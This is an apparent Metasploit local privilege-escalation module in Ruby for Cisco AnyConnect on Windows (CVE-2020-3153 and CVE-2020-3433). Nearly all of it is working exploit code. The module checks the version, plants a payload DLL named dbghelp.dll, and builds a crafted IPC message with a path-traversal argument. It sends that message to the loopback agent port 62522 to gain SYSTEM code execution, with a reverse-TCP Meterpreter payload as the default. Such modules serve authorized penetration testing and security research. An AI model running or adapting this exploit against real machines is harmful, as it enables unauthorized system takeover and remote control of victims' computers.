##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::FileInfo
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)',
        'Description' => %q{
          The installer component of Cisco AnyConnect Secure Mobility Client for Windows
          prior to 4.8.02042 is vulnerable to path traversal and allows local attackers
          to create/overwrite files in arbitrary locations with system level privileges.

          The installer component of Cisco AnyConnect Secure Mobility Client for Windows
          prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers
          to execute code on the affected machine with with system level privileges.

          Both attacks consist in sending a specially crafted IPC request to the TCP
          port 62522 on the loopback device, which is exposed by the Cisco AnyConnect
          Secure Mobility Agent service. This service will then launch the vulnerable
          installer component (`vpndownloader`), which copies itself to an arbitrary
          location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being
          executed with system privileges. Since `vpndownloader` is also vulnerable to DLL
          hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same
          location `vpndownloader` will be copied to get code execution with system
          privileges.

          The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect
          Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10
          version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been
          successfully tested against Cisco AnyConnect Secure Mobility Client versions
          4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version
          1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Yorick Koster', # original PoC CVE-2020-3153, analysis
          'Antoine Goichot (ATGO)', # PoC CVE-2020-3153, original PoC for CVE-2020-3433, update of msf module
          'Christophe De La Fuente' # msf module for CVE-2020-3153
        ],
        'Platform' => 'win',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [
            'Windows x86/x64 with x86 payload',
            {
              'Arch' => ARCH_X86
            }
          ]
        ],
        'Privileged' => true,
        'References' => [
          ['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],
          ['CVE', '2020-3153'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW'],
          ['CVE', '2020-3433']
        ],
        'DisclosureDate' => '2020-08-05',
        'Notes' => {
          'SideEffects' => [ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE]
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
          'FileDropperDelay' => 10
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_open
            ]
          }
        }
      )
    )

    register_options [
      OptString.new('INSTALL_PATH', [
        false,
        'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\
          ' should be found). It will be automatically detected if not set.'
      ]),
      OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-3433', ['CVE-2020-3433', 'CVE-2020-3153']])
    ]
  end

  # See AnyConnect IPC protocol articles:
  # - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/
  # - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/
  # - https://www.serializing.me/2023/01/27/anyconnect-inter-process-communication/
  class CIPCHeader < BinData::Record
    endian :little

    uint32 :id_tag, label: 'ID Tag', value: 0x4353434f
    uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }
    uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }
    uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF
    uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000
    uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002
    uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000
    uint8 :message_type, label: 'Message Type', initial_value: 1
    uint8 :message_id, label: 'Message ID', initial_value: 2
  end

  class CIPCTlv < BinData::Record
    # TLVs are tricky when it comes to endieness. For the type and length fields, they're big endian, but
    # for the value, they're little endian. For example, each UTF-16 character, is encoded in one little
    # endian unsigned short. There is one exception to that rule: UTF-8 strings and TV (Type and Value)
    # entries. Note that TVs, are the ones that have a Type like 0x80XX, which are used to store some
    # booleans and unsigned shorts.
    # This is why having the entire "BinData::Record" as big endian is not a problem in this case: the IPC
    # message to which the vulnerabilit(ies) are associated, only makes use of UTF-8 strings and a boolean.
    endian :big

    uint16 :msg_type, label: 'Type'
    uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }
    stringz :msg_value, label: 'Value', length: -> { msg_length }
  end

  class CIPCMessage < BinData::Record
    endian :little

    cipc_header :header, label: 'Header'
    array :body, label: 'Body', type: :cipc_tlv, read_until: :eof
  end

  def detect_path
    program_files_paths = Set.new([get_env('ProgramFiles')])
    program_files_paths << get_env('ProgramFiles(x86)')
    path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'

    program_files_paths.each do |program_files_path|
      next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))

      return "#{program_files_path}\\#{path}"
    end

    nil
  end

  def sanitize_path(path)
    return nil unless path

    path = path.strip
    loop do
      break if path.last != '\\'

      path.chop!
    end
    path
  end

  def check
    install_path = sanitize_path(datastore['INSTALL_PATH'])
    if install_path&.!= ''
      vprint_status("Skipping installation path detection and use provided path: #{install_path}")
      @installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil
    else
      vprint_status('Try to detect installation path...')
      @installation_path = detect_path
    end

    unless @installation_path
      return CheckCode.Safe('vpndownloader.exe not found on file system')
    end

    file_path = "#{@installation_path}\\vpndownloader.exe"
    vprint_status("Found vpndownloader.exe path: '#{file_path}'")

    version = file_version(file_path)
    unless version
      return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')
    end

    cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')

    patched_version_cve_2020_3153 = Rex::Version.new('4.8.02042')
    patched_version_cve_2020_3433 = Rex::Version.new('4.9.00086')
    @ac_version = Rex::Version.new(version.join('.'))
    if @ac_version < patched_version_cve_2020_3153
      return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3153} (CVE-2020-3153 & CVE-2020-3433).")
    elsif (@ac_version < patched_version_cve_2020_3433) && !cve_2020_3153
      return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3433} (CVE-2020-3433).")
    elsif (@ac_version < patched_version_cve_2020_3433) && cve_2020_3153
      return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3153} (However CVE-2020-3433 can be used).")
    else
      return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3433}.")
    end
  end

  def exploit
    fail_with(Failure::None, 'Session is already elevated') if is_system?
    if !payload.arch.include?(ARCH_X86)
      fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')
    end

    check_result = check
    print_status(check_result.message)
    if check_result == CheckCode::Safe && !@installation_path
      fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')
    end

    cac_cmd = '"CAC-nc-install'
    if @ac_version && @ac_version >= Rex::Version.new('4.7')
      vprint_status('"-ipc" argument needed')
      cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"
    else
      vprint_status('"-ipc" argument not needed')
    end

    cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')
    if cve_2020_3153
      program_data_path = get_env('ProgramData')
      dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"
    else
      temp_path = get_env('TEMP')
      junk = Rex::Text.rand_text_alphanumeric(6)
      temp_path << "\\#{junk}"
      mkdir(temp_path)
      dbghelp_path = "#{temp_path}\\dbghelp.dll"
    end

    print_status("Writing the payload to #{dbghelp_path}")

    begin
      payload_dll = generate_payload_dll(dll_exitprocess: true)
      write_file(dbghelp_path, payload_dll)
      register_file_for_cleanup(dbghelp_path)
    rescue ::Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::NotFound, e.message)
    end

    if cve_2020_3153
      # vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the
      # normal process will copy the file to
      # "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")
      register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")
      junk = Rex::Text.rand_text_alphanumeric(4)
      cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""
    else
      cac_cmd << "\t#{@installation_path}\\vpndownloader.exe\t#{dbghelp_path}\""
    end

    vprint_status("IPC Command: #{cac_cmd}")

    cipc_msg = CIPCMessage.new
    cipc_msg.body << CIPCTlv.new(
      msg_type: 2,
      msg_value: cac_cmd
    )
    cipc_msg.body << CIPCTlv.new(
      msg_type: 6,
      msg_value: "#{@installation_path}\\vpndownloader.exe"
    )

    vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')
    begin
      socket = client.net.socket.create(
        Rex::Socket::Parameters.new(
          'PeerHost' => '127.0.0.1',
          'PeerPort' => 62522,
          'Proto' => 'tcp'
        )
      )
    rescue Rex::ConnectionError => e
      fail_with(Failure::Unreachable, e.message)
    end

    vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")
    socket.write(cipc_msg.to_binary_s)
    socket.flush
    # Give FileDropper some time to cleanup before handing over to the operator
    Rex.sleep(3)
  ensure
    if socket
      vprint_status('Shutdown the socket')
      socket.shutdown
    end
  end

end
